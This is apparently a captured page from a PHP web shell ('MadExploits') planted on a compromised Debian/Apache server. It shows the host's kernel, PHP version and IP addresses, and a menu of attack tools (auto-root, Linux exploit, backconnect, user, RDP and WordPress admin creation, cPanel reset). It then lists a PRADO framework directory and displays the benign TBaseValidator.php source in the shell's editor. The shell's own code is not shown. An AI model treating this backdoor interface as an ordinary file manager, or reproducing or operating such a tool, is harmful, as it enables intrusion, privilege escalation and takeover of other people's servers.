Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.139.86.74
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
WebControls /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
IDataSource.php
507
B
-rw-r--r--
IItemDataRenderer.php
1.34
KB
-rw-r--r--
IListControlAdapter.php
1.22
KB
-rw-r--r--
IRepeatInfoUser.php
1.55
KB
-rw-r--r--
IStyleable.php
774
B
-rw-r--r--
TAccordion.php
16.08
KB
-rw-r--r--
TAccordionView.php
4.45
KB
-rw-r--r--
TAccordionViewCollection.php
1.57
KB
-rw-r--r--
TBaseDataList.php
5.45
KB
-rw-r--r--
TBaseValidator.php
19.79
KB
-rw-r--r--
TBoundColumn.php
7.11
KB
-rw-r--r--
TBulletStyle.php
913
B
-rw-r--r--
TBulletedList.php
12.14
KB
-rw-r--r--
TBulletedListDisplayMode.php
917
B
-rw-r--r--
TBulletedListEventParameter.ph...
993
B
-rw-r--r--
TButton.php
11.42
KB
-rw-r--r--
TButtonColumn.php
8.5
KB
-rw-r--r--
TButtonColumnType.php
791
B
-rw-r--r--
TButtonTag.php
705
B
-rw-r--r--
TButtonType.php
756
B
-rw-r--r--
TCaptcha.php
16.31
KB
-rw-r--r--
TCaptchaValidator.php
4
KB
-rw-r--r--
TCheckBox.php
15.02
KB
-rw-r--r--
TCheckBoxColumn.php
3.68
KB
-rw-r--r--
TCheckBoxItem.php
520
B
-rw-r--r--
TCheckBoxList.php
14.43
KB
-rw-r--r--
TCircleHotSpot.php
1.84
KB
-rw-r--r--
TClientScript.php
4.41
KB
-rw-r--r--
TClientSideValidationSummaryOp...
2.38
KB
-rw-r--r--
TColorPicker.php
6.83
KB
-rw-r--r--
TColorPickerClientSide.php
847
B
-rw-r--r--
TColorPickerMode.php
815
B
-rw-r--r--
TCompareValidator.php
7.5
KB
-rw-r--r--
TCompleteWizardStep.php
960
B
-rw-r--r--
TConditional.php
4.33
KB
-rw-r--r--
TContent.php
1.67
KB
-rw-r--r--
TContentDirection.php
811
B
-rw-r--r--
TContentPlaceHolder.php
1.73
KB
-rw-r--r--
TCustomValidator.php
4.46
KB
-rw-r--r--
TDataBoundControl.php
15.37
KB
-rw-r--r--
TDataGrid.php
48.32
KB
-rw-r--r--
TDataGridColumn.php
17.06
KB
-rw-r--r--
TDataGridColumnCollection.php
1.83
KB
-rw-r--r--
TDataGridCommandEventParameter...
2.06
KB
-rw-r--r--
TDataGridItem.php
3.62
KB
-rw-r--r--
TDataGridItemCollection.php
1.34
KB
-rw-r--r--
TDataGridItemEventParameter.ph...
1.4
KB
-rw-r--r--
TDataGridItemRenderer.php
539
B
-rw-r--r--
TDataGridPageChangedEventParam...
1.84
KB
-rw-r--r--
TDataGridPager.php
1.75
KB
-rw-r--r--
TDataGridPagerButtonType.php
1022
B
-rw-r--r--
TDataGridPagerEventParameter.p...
1.42
KB
-rw-r--r--
TDataGridPagerMode.php
1.04
KB
-rw-r--r--
TDataGridPagerPosition.php
1.16
KB
-rw-r--r--
TDataGridPagerStyle.php
7.44
KB
-rw-r--r--
TDataGridSortCommandEventParam...
1.93
KB
-rw-r--r--
TDataList.php
46.45
KB
-rw-r--r--
TDataListCommandEventParameter...
1.81
KB
-rw-r--r--
TDataListItem.php
3.29
KB
-rw-r--r--
TDataListItemCollection.php
1.06
KB
-rw-r--r--
TDataListItemEventParameter.ph...
1.16
KB
-rw-r--r--
TDataListItemRenderer.php
4.6
KB
-rw-r--r--
TDataRenderer.php
1.11
KB
-rw-r--r--
TDataSize.php
4.22
KB
-rw-r--r--
TDataSourceControl.php
1.36
KB
-rw-r--r--
TDataSourceSelectParameters.ph...
1.51
KB
-rw-r--r--
TDataSourceView.php
2.23
KB
-rw-r--r--
TDataTypeValidator.php
3.89
KB
-rw-r--r--
TDatePicker.php
26.21
KB
-rw-r--r--
TDatePickerClientScript.php
1.22
KB
-rw-r--r--
TDatePickerInputMode.php
746
B
-rw-r--r--
TDatePickerMode.php
1.08
KB
-rw-r--r--
TDatePickerPositionMode.php
766
B
-rw-r--r--
TDisplayStyle.php
994
B
-rw-r--r--
TDropDownList.php
4.58
KB
-rw-r--r--
TDropDownListColumn.php
10.06
KB
-rw-r--r--
TEditCommandColumn.php
7.97
KB
-rw-r--r--
TEmailAddressValidator.php
2.68
KB
-rw-r--r--
TExpression.php
1.42
KB
-rw-r--r--
TFileUpload.php
11.86
KB
-rw-r--r--
TFileUploadItem.php
4.03
KB
-rw-r--r--
TFlushOutput.php
2.25
KB
-rw-r--r--
TFont.php
8.93
KB
-rw-r--r--
TGravatar.php
4.65
KB
-rw-r--r--
THead.php
5
KB
-rw-r--r--
THeader1.php
675
B
-rw-r--r--
THeader2.php
675
B
-rw-r--r--
THeader3.php
675
B
-rw-r--r--
THeader4.php
674
B
-rw-r--r--
THeader5.php
674
B
-rw-r--r--
THeader6.php
674
B
-rw-r--r--
THiddenField.php
5.82
KB
-rw-r--r--
THorizontalAlign.php
921
B
-rw-r--r--
THotSpot.php
8.73
KB
-rw-r--r--
THotSpotCollection.php
1.02
KB
-rw-r--r--
THotSpotMode.php
901
B
-rw-r--r--
THtmlArea.php
12.41
KB
-rw-r--r--
THtmlArea5.php
11.53
KB
-rw-r--r--
THtmlElement.php
1.62
KB
-rw-r--r--
THyperLink.php
7.41
KB
-rw-r--r--
THyperLinkColumn.php
7.61
KB
-rw-r--r--
TImage.php
4.29
KB
-rw-r--r--
TImageButton.php
11.67
KB
-rw-r--r--
TImageClickEventParameter.php
1.52
KB
-rw-r--r--
TImageMap.php
6.86
KB
-rw-r--r--
TImageMapEventParameter.php
1.06
KB
-rw-r--r--
TInlineFrame.php
7.89
KB
-rw-r--r--
TInlineFrameAlign.php
1018
B
-rw-r--r--
TInlineFrameScrollBars.php
917
B
-rw-r--r--
TItemDataRenderer.php
2.17
KB
-rw-r--r--
TJavascriptLogger.php
2.8
KB
-rw-r--r--
TKeyboard.php
5.92
KB
-rw-r--r--
TLabel.php
3.95
KB
-rw-r--r--
TLinkButton.php
10.45
KB
-rw-r--r--
TListBox.php
6.57
KB
-rw-r--r--
TListControl.php
24.23
KB
-rw-r--r--
TListControlValidator.php
5.84
KB
-rw-r--r--
TListItem.php
4.93
KB
-rw-r--r--
TListItemType.php
1.11
KB
-rw-r--r--
TListSelectionMode.php
684
B
-rw-r--r--
TLiteral.php
2.82
KB
-rw-r--r--
TLiteralColumn.php
4.08
KB
-rw-r--r--
TMarkdown.php
1.99
KB
-rw-r--r--
TMetaTag.php
3.53
KB
-rw-r--r--
TMetaTagCollection.php
1.83
KB
-rw-r--r--
TMultiView.php
8.34
KB
-rw-r--r--
TOutputCache.php
15.99
KB
-rw-r--r--
TOutputCacheCalculateKeyEventP...
1.04
KB
-rw-r--r--
TOutputCacheCheckDependencyEve...
1.38
KB
-rw-r--r--
TOutputCacheTextWriterMulti.ph...
975
B
-rw-r--r--
TPageLoadTime.php
1.31
KB
-rw-r--r--
TPager.php
21.73
KB
-rw-r--r--
TPagerButtonType.php
714
B
-rw-r--r--
TPagerMode.php
838
B
-rw-r--r--
TPagerPageChangedEventParamete...
1.54
KB
-rw-r--r--
TPanel.php
6.39
KB
-rw-r--r--
TPanelStyle.php
8.09
KB
-rw-r--r--
TPlaceHolder.php
616
B
-rw-r--r--
TPolygonHotSpot.php
1.11
KB
-rw-r--r--
TRadioButton.php
9.39
KB
-rw-r--r--
TRadioButtonItem.php
533
B
-rw-r--r--
TRadioButtonList.php
2.29
KB
-rw-r--r--
TRangeValidationDataType.php
696
B
-rw-r--r--
TRangeValidator.php
9.76
KB
-rw-r--r--
TRatingList.php
8.75
KB
-rw-r--r--
TReCaptcha.php
11.79
KB
-rw-r--r--
TReCaptcha2.php
10.95
KB
-rw-r--r--
TReCaptcha2Validator.php
3.43
KB
-rw-r--r--
TReCaptchaValidator.php
4.19
KB
-rw-r--r--
TReadOnlyDataSource.php
1.1
KB
-rw-r--r--
TReadOnlyDataSourceView.php
1.01
KB
-rw-r--r--
TRectangleHotSpot.php
2.36
KB
-rw-r--r--
TRegularExpressionValidator.ph...
4.16
KB
-rw-r--r--
TRepeatDirection.php
681
B
-rw-r--r--
TRepeatInfo.php
13.51
KB
-rw-r--r--
TRepeatLayout.php
872
B
-rw-r--r--
TRepeater.php
23.8
KB
-rw-r--r--
TRepeaterCommandEventParameter...
1.81
KB
-rw-r--r--
TRepeaterItem.php
2.83
KB
-rw-r--r--
TRepeaterItemCollection.php
1.07
KB
-rw-r--r--
TRepeaterItemEventParameter.ph...
1.13
KB
-rw-r--r--
TRepeaterItemRenderer.php
1.24
KB
-rw-r--r--
TRequiredFieldValidator.php
4.56
KB
-rw-r--r--
TSafeHtml.php
2.07
KB
-rw-r--r--
TScrollBars.php
953
B
-rw-r--r--
TServerValidateEventParameter....
1.37
KB
-rw-r--r--
TSlider.php
14.93
KB
-rw-r--r--
TSliderClientScript.php
1.78
KB
-rw-r--r--
TSliderDirection.php
749
B
-rw-r--r--
TStatements.php
1.44
KB
-rw-r--r--
TStyle.php
9.84
KB
-rw-r--r--
TStyleSheet.php
3.62
KB
-rw-r--r--
TTabPanel.php
14.67
KB
-rw-r--r--
TTabView.php
4.83
KB
-rw-r--r--
TTabViewCollection.php
1.55
KB
-rw-r--r--
TTable.php
9.63
KB
-rw-r--r--
TTableCaptionAlign.php
862
B
-rw-r--r--
TTableCell.php
5.77
KB
-rw-r--r--
TTableCellCollection.php
1.1
KB
-rw-r--r--
TTableFooterRow.php
882
B
-rw-r--r--
TTableGridLines.php
902
B
-rw-r--r--
TTableHeaderCell.php
2.4
KB
-rw-r--r--
TTableHeaderRow.php
882
B
-rw-r--r--
TTableHeaderScope.php
766
B
-rw-r--r--
TTableItemStyle.php
5.5
KB
-rw-r--r--
TTableRow.php
3.8
KB
-rw-r--r--
TTableRowCollection.php
1.08
KB
-rw-r--r--
TTableRowSection.php
761
B
-rw-r--r--
TTableStyle.php
8.84
KB
-rw-r--r--
TTemplateColumn.php
7.93
KB
-rw-r--r--
TTemplatedWizardStep.php
2.93
KB
-rw-r--r--
TTextAlign.php
608
B
-rw-r--r--
TTextBox.php
19.32
KB
-rw-r--r--
TTextBoxAutoCompleteType.php
1.87
KB
-rw-r--r--
TTextBoxMode.php
2.3
KB
-rw-r--r--
TTextHighlighter.php
6.53
KB
-rw-r--r--
TTextProcessor.php
2.28
KB
-rw-r--r--
TValidationCompareOperator.php
959
B
-rw-r--r--
TValidationDataType.php
749
B
-rw-r--r--
TValidationSummary.php
11.78
KB
-rw-r--r--
TValidationSummaryDisplayMode....
1.09
KB
-rw-r--r--
TValidationSummaryDisplayStyle...
1017
B
-rw-r--r--
TValidatorClientSide.php
2.96
KB
-rw-r--r--
TValidatorDisplayStyle.php
951
B
-rw-r--r--
TVerticalAlign.php
836
B
-rw-r--r--
TView.php
2.23
KB
-rw-r--r--
TViewCollection.php
1.09
KB
-rw-r--r--
TWebControl.php
12.65
KB
-rw-r--r--
TWebControlAdapter.php
1.98
KB
-rw-r--r--
TWebControlDecorator.php
10.94
KB
-rw-r--r--
TWizard.php
41.24
KB
-rw-r--r--
TWizardFinishNavigationTemplat...
1.49
KB
-rw-r--r--
TWizardNavigationButtonStyle.p...
3.89
KB
-rw-r--r--
TWizardNavigationButtonType.ph...
825
B
-rw-r--r--
TWizardNavigationContainer.php
1.85
KB
-rw-r--r--
TWizardNavigationEventParamete...
2.15
KB
-rw-r--r--
TWizardNavigationTemplate.php
2.29
KB
-rw-r--r--
TWizardSideBarListItemTemplate...
907
B
-rw-r--r--
TWizardSideBarTemplate.php
1003
B
-rw-r--r--
TWizardStartNavigationTemplate...
1.21
KB
-rw-r--r--
TWizardStep.php
2.34
KB
-rw-r--r--
TWizardStepCollection.php
1.79
KB
-rw-r--r--
TWizardStepNavigationTemplate....
1.45
KB
-rw-r--r--
TWizardStepType.php
1.01
KB
-rw-r--r--
TXmlTransform.php
5.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TBaseValidator.php
<?php /** * TBaseValidator class file * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\WebControls; use Prado\Exceptions\TConfigurationException; use Prado\Exceptions\TNotSupportedException; use Prado\TPropertyValue; use Prado\Exceptions\TInvalidDataTypeException; use Prado\Web\Javascripts\TJavaScript; use Prado\Web\UI\IValidator; /** * TBaseValidator class * * TBaseValidator serves as the base class for validator controls. * * Validation is performed when a postback control, such as a TButton, a TLinkButton * or a TTextBox (under AutoPostBack mode) is submitting the page and * its <b>CausesValidation</b> property is true. * You can also manually perform validation by calling {@link TPage::validate()}. * The input control to be validated is specified by {@link setControlToValidate ControlToValidate}. * * Validator controls always validate the associated input control on the serve side. * In addition, if {@link getEnableClientScript EnableClientScript} is true, * validation will also be performed on the client-side using javascript. * Client-side validation will validate user input before it is sent to the server. * The form data will not be submitted if any error is detected. This avoids * the round-trip of information necessary for server-side validation. * * You can use multiple validator controls to validate a single input control, * each responsible for validating against a different criteria. * For example, on a user registration form, you may want to make sure the user * enters a value in the username text box, and the input must consist of only word * characters. You can use a {@link TRequiredFieldValidator} to ensure the input * of username and a {@link TRegularExpressionValidator} to ensure the proper input. * * If an input control fails validation, the text specified by the {@link setErrorMessage ErrorMessage} * property is displayed in the validation control. However, if the {@link setText Text} * property is set, it will be displayed instead. If both {@link setErrorMessage ErrorMessage} * and {@link setText Text} are empty, the body content of the validator will * be displayed. Error display is controlled by {@link setDisplay Display} property. * * You can also customized the client-side behaviour by adding javascript * code to the subproperties of the {@link getClientSide ClientSide} * property. See quickstart documentation for further details. * * You can also place a {@link TValidationSummary} control on a page to display error messages * from the validators together. In this case, only the {@link setErrorMessage ErrorMessage} * property of the validators will be displayed in the {@link TValidationSummary} control. * * Validators can be partitioned into validation groups by setting their * {@link setValidationGroup ValidationGroup} property. If the control causing the * validation also sets its ValidationGroup property, only those validators having * the same ValidationGroup value will do input validation. * * Note, the {@link TPage::getIsValid IsValid} property of the current {@link TPage} * instance will be automatically updated by the validation process which occurs * after {@link TPage::onLoad onLoad} of {@link TPage} and before the postback events. * Therefore, if you use the {@link TPage::getIsValid()} property in * the {@link TPage::onLoad()} method, you must first explicitly call * the {@link TPage::validate()} method. * * <b>Notes to Inheritors</b> When you inherit from TBaseValidator, you must * override the method {@link evaluateIsValid}. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 */ abstract class TBaseValidator extends TLabel implements IValidator { /** * @var bool whether the validation succeeds */ private $_isValid = true; /** * @var bool whether the validator has been registered with the page */ private $_registered = false; /** * @var TValidatorClientSide validator client-script options. */ private $_clientSide; /** * Controls for which the client-side validation3.js file needs to handle * them specially. * @var array list of control class names */ private static $_clientClass = [ // normal controls needing special handling to extract their values 'Prado\Web\UI\WebControls\TCheckBox' => 'TCheckBox', 'Prado\Web\UI\WebControls\TDatePicker' => 'TDatePicker', 'Prado\Web\UI\WebControls\THtmlArea' => 'THtmlArea', 'Prado\Web\UI\WebControls\THtmlArea5' => 'THtmlArea5', 'Prado\Web\UI\WebControls\TReCaptcha2' => 'TReCaptcha2', // list controls 'Prado\Web\UI\WebControls\TCheckBoxList' => 'TCheckBoxList', 'Prado\Web\UI\WebControls\TListBox' => 'TListBox', 'Prado\Web\UI\WebControls\TRadioButton' => 'TRadioButton', ]; /** * Constructor. * This method sets the foreground color to red. */ public function __construct() { parent::__construct(); $this->setForeColor('red'); } /** * Registers the validator with page. * @param mixed $param event parameter */ public function onInit($param) { parent::onInit($param); $this->getPage()->getValidators()->add($this); $this->_registered = true; } /** * Unregisters the validator from page. * @param mixed $param event parameter */ public function onUnload($param) { if ($this->_registered && ($page = $this->getPage()) !== null) { $page->getValidators()->remove($this); } $this->_registered = false; parent::onUnload($param); } /** * Adds attributes to renderer. Calls parent implementation and renders the * client control scripts. * @param \Prado\Web\UI\THtmlWriter $writer the renderer */ protected function addAttributesToRender($writer) { $display = $this->getDisplay(); $visible = $this->getEnabled(true) && !$this->getIsValid(); if ($display === TValidatorDisplayStyle::None || (!$visible && $display === TValidatorDisplayStyle::Dynamic)) { $writer->addStyleAttribute('display', 'none'); } elseif (!$visible) { $writer->addStyleAttribute('visibility', 'hidden'); } $writer->addAttribute('id', $this->getClientID()); parent::addAttributesToRender($writer); $this->renderClientControlScript($writer); } /** * Returns an array of javascript validator options. * @return array javascript validator options. */ protected function getClientScriptOptions() { $control = $this->getValidationTarget(); $options['ID'] = $this->getClientID(); $options['FormID'] = $this->getPage()->getForm()->getClientID(); $options['Display'] = $this->getDisplay(); $options['ErrorMessage'] = $this->getErrorMessage(); if ($this->getFocusOnError()) { $options['FocusOnError'] = $this->getFocusOnError(); $options['FocusElementID'] = $this->getFocusElementID(); } $options['ValidationGroup'] = $this->getValidationGroup(); if ($control) { $options['ControlToValidate'] = $control->getClientID(); } $options['ControlCssClass'] = $this->getControlCssClass(); $options['ControlType'] = $this->getClientControlClass($control); $options['Enabled'] = $this->getEnabled(true); //get date format from date picker target control if ($control instanceof TDatePicker) { $options['DateFormat'] = $control->getDateFormat(); } $options = array_merge($options, $this->getClientSide()->getOptions()->toArray()); return $options; } /** * Gets the Control type for client-side validation. If new cases exists in * TBaseValidator::$_clientClass, be sure to update the corresponding * "Javascript/validation3.js" file as well. * @param \Prado\Web\UI\TControl $control control to validate. * @return string control type for client-side validation. */ private function getClientControlClass($control) { foreach (self::$_clientClass as $fullName => $shortName) { if ($control instanceof $fullName) { return $shortName; } } $reflectionClass = new \ReflectionClass($control); return $reflectionClass->getShortName(); } /** * Gets the TValidatorClientSide that allows modification of the client- * side validator events. * * The client-side validator supports the following events. * # <tt>OnValidate</tt> -- raised before client-side validation is * executed. * # <tt>OnValidationSuccess</tt> -- raised after client-side validation is completed * and is successfull, overrides default validator error messages updates. * # <tt>OnValidationError</tt> -- raised after client-side validation is completed * and failed, overrides default validator error message updates. * * You can attach custom javascript code to each of these events * * @return TValidatorClientSide javascript validator event options. */ public function getClientSide() { if ($this->_clientSide === null) { $this->_clientSide = $this->createClientSide(); } return $this->_clientSide; } /** * @return TValidatorClientSide javascript validator event options. */ protected function createClientSide() { return new TValidatorClientSide(); } /** * Renders the javascript code to the end script. * If you override this method, be sure to call the parent implementation * so that the event handlers can be invoked. * @param \Prado\Web\UI\THtmlWriter $writer the renderer */ public function renderClientControlScript($writer) { $scripts = $this->getPage()->getClientScript(); if ($this->getEnableClientScript()) { $scripts->registerPradoScript('validator'); } $formID = $this->getPage()->getForm()->getClientID(); $scriptKey = "TBaseValidator:$formID"; if ($this->getEnableClientScript() && !$scripts->isEndScriptRegistered($scriptKey)) { $manager['FormID'] = $formID; $options = TJavaScript::encode($manager); $scripts->registerEndScript($scriptKey, "new Prado.ValidationManager({$options});"); } if ($this->getEnableClientScript()) { $this->registerClientScriptValidator(); } } /** * Override parent implementation to update the control CSS Class before * the validated control is rendered * @param mixed $param */ public function onPreRender($param) { parent::onPreRender($param); $this->updateControlCssClass(); } /** * Update the ControlToValidate component's css class depending * if the ControlCssClass property is set, and whether this is valid. */ protected function updateControlCssClass() { if (($cssClass = $this->getControlCssClass()) !== '') { $control = $this->getValidationTarget(); if ($control instanceof TWebControl) { $class = preg_replace('/ ' . preg_quote($cssClass) . '/', '', $control->getCssClass()); if (!$this->getIsValid()) { $class .= ' ' . $cssClass; $control->setCssClass($class); } elseif ($control instanceof \Prado\Web\UI\IValidatable && $control->getIsValid()) { $control->setCssClass($class); } } } } /** * Registers the individual validator client-side javascript code. */ protected function registerClientScriptValidator() { $key = 'prado:' . $this->getClientID(); if (!$this->getPage()->getClientScript()->isEndScriptRegistered($key)) { $options = TJavaScript::encode($this->getClientScriptOptions()); $script = 'new ' . $this->getClientClassName() . '(' . $options . ');'; $this->getPage()->getClientScript()->registerEndScript($key, $script); } } /** * Gets the name of the javascript class responsible for performing validation for this control. * This method overrides the parent implementation. * @return string the javascript class name */ abstract protected function getClientClassName(); /** * This method overrides the parent implementation to forbid setting ForControl. * @param string $value the associated control ID * @throws TNotSupportedException whenever this method is called */ public function setForControl($value) { throw new TNotSupportedException('basevalidator_forcontrol_unsupported', get_class($this)); } /** * This method overrides parent's implementation by setting {@link setIsValid IsValid} to true if disabled. * @param bool $value whether the validator is enabled. */ public function setEnabled($value) { $value = TPropertyValue::ensureBoolean($value); parent::setEnabled($value); if (!$value) { $this->_isValid = true; } } /** * @return TValidatorDisplayStyle the style of displaying the error message. Defaults to TValidatorDisplayStyle::Fixed. */ public function getDisplay() { return $this->getViewState('Display', TValidatorDisplayStyle::Fixed); } /** * @param TValidatorDisplayStyle $value the style of displaying the error message */ public function setDisplay($value) { $this->setViewState('Display', TPropertyValue::ensureEnum($value, 'Prado\\Web\\UI\\WebControls\\TValidatorDisplayStyle'), TValidatorDisplayStyle::Fixed); } /** * @return bool whether client-side validation is enabled. */ public function getEnableClientScript() { return $this->getViewState('EnableClientScript', true); } /** * @param bool $value whether client-side validation is enabled. */ public function setEnableClientScript($value) { $this->setViewState('EnableClientScript', TPropertyValue::ensureBoolean($value), true); } /** * @return string the text for the error message. */ public function getErrorMessage() { return $this->getViewState('ErrorMessage', ''); } /** * Sets the text for the error message. * @param string $value the error message */ public function setErrorMessage($value) { $this->setViewState('ErrorMessage', $value, ''); } /** * @return string the ID path of the input control to validate */ public function getControlToValidate() { return $this->getViewState('ControlToValidate', ''); } /** * Sets the ID path of the input control to validate. * The ID path is the dot-connected IDs of the controls reaching from * the validator's naming container to the target control. * @param string $value the ID path */ public function setControlToValidate($value) { $this->setViewState('ControlToValidate', $value, ''); } /** * @return bool whether to set focus at the validating place if the validation fails. Defaults to false. */ public function getFocusOnError() { return $this->getViewState('FocusOnError', false); } /** * @param bool $value whether to set focus at the validating place if the validation fails */ public function setFocusOnError($value) { $this->setViewState('FocusOnError', TPropertyValue::ensureBoolean($value), false); } /** * Gets the ID of the HTML element that will receive focus if validation fails and {@link getFocusOnError FocusOnError} is true. * Defaults to the client ID of the {@link getControlToValidate ControlToValidate}. * @return string the ID of the HTML element to receive focus */ public function getFocusElementID() { if (($id = $this->getViewState('FocusElementID', '')) === '') { $target = $this->getValidationTarget(); /* Workaround: TCheckBoxList and TRadioButtonList nests the actual * inputs inside a table; we ensure the first input gets focused */ if ($target instanceof TCheckBoxList && $target->getItemCount() > 0) { $id = $target->getClientID() . '_c0'; } else { $id = $target->getClientID(); } } return $id; } /** * Sets the ID of the HTML element that will receive focus if validation fails and {@link getFocusOnError FocusOnError} is true. * @param string $value the ID of the HTML element to receive focus */ public function setFocusElementID($value) { $this->setViewState('FocusElementID', $value, ''); } /** * @return string the group which this validator belongs to */ public function getValidationGroup() { return $this->getViewState('ValidationGroup', ''); } /** * @param string $value the group which this validator belongs to */ public function setValidationGroup($value) { $this->setViewState('ValidationGroup', $value, ''); } /** * @return bool whether the validation succeeds */ public function getIsValid() { return $this->_isValid; } /** * Sets the value indicating whether the validation succeeds * @param bool $value whether the validation succeeds */ public function setIsValid($value) { $this->_isValid = TPropertyValue::ensureBoolean($value); } /** * @throws TConfigurationException if {@link getControlToValidate * ControlToValidate} is empty or does not point to a valid control * @return \Prado\Web\UI\TControl control to be validated. Null if no control is found. */ public function getValidationTarget() { if (($id = $this->getControlToValidate()) !== '' && ($control = $this->findControl($id)) !== null) { return $control; } else { throw new TConfigurationException('basevalidator_controltovalidate_invalid', get_class($this)); } } /** * Retrieves the property value of the control being validated. * @param \Prado\Web\UI\TControl $control control being validated * @throws TInvalidDataTypeException if the control to be validated does not implement {@link \Prado\Web\UI\IValidatable}. * @return string property value to be validated */ protected function getValidationValue($control) { if ($control instanceof \Prado\Web\UI\IValidatable) { return $control->getValidationPropertyValue(); } else { throw new TInvalidDataTypeException('basevalidator_validatable_required', get_class($this)); } } /** * Validates the specified control. * Do not override this method. Override {@link evaluateIsValid} instead. * @return bool whether the validation succeeds */ public function validate() { $this->onValidate(); if ($this->getVisible(true) && $this->getEnabled(true)) { $target = $this->getValidationTarget(); // if the target is not a disabled web control if ($target === null || ($target !== null && !($target instanceof TWebControl && !$target->getEnabled(true)))) { if ($this->evaluateIsValid()) { $this->setIsValid(true); $this->onValidationSuccess(); } else { if ($target && $target instanceof \Prado\Web\UI\IValidatable) { $target->setIsValid(false); } $this->setIsValid(false); $this->onValidationError(); } } else { $this->evaluateIsValid(); $this->setIsValid(true); $this->onValidationSuccess(); } } else { $this->setIsValid(true); } return $this->getIsValid(); } /** * @return string the css class that is applied to the control being validated in case the validation fails */ public function getControlCssClass() { return $this->getViewState('ControlCssClass', ''); } /** * @param string $value the css class that is applied to the control being validated in case the validation fails */ public function setControlCssClass($value) { $this->setViewState('ControlCssClass', $value, ''); } /** * This is the major method for validation. * Derived classes should implement this method to provide customized validation. * @return bool whether the validation succeeds */ abstract protected function evaluateIsValid(); /** * This event is raised when the validator succeeds in validation. */ public function onValidationSuccess() { $this->raiseEvent('OnValidationSuccess', $this, null); } /** * This event is raised when the validator fails in validation. */ public function onValidationError() { $this->raiseEvent('OnValidationError', $this, null); } /** * This event is raised right before the validator starts to perform validation. * You may use this event to change the behavior of validation. * For example, you may disable the validator if certain condition is satisfied. * Note, the event will NOT be raised if the validator is invisible. */ public function onValidate() { $this->raiseEvent('OnValidate', $this, null); } /** * Renders the validator control. * @param \Prado\Web\UI\THtmlWriter $writer writer for the rendering purpose */ public function renderContents($writer) { if (($text = $this->getText()) !== '') { $writer->write($text); } elseif (($text = $this->getErrorMessage()) !== '') { $writer->write($text); } else { parent::renderContents($writer); } } }
Close